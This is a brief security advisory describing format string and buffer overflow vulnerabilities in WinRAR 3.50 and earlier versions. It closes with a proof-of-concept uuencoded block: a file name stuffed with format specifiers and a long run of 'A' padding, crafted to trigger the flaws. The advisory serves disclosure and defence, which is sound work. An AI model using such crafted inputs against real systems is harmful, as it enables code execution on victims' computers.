source: http://www.securityfocus.com/bid/15062/info

WinRAR is prone to multiple remote vulnerabilities. These issues include a format string and a buffer overflow vulnerability. Successful exploitation may allow an attacker to execute arbitrary code on a vulnerable computer.

WinRAR 3.50 and prior versions are vulnerable to these issues. 

begin 644 %0.8x.%0.8x.%0.8x.%0.8x.%0.8xAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`
end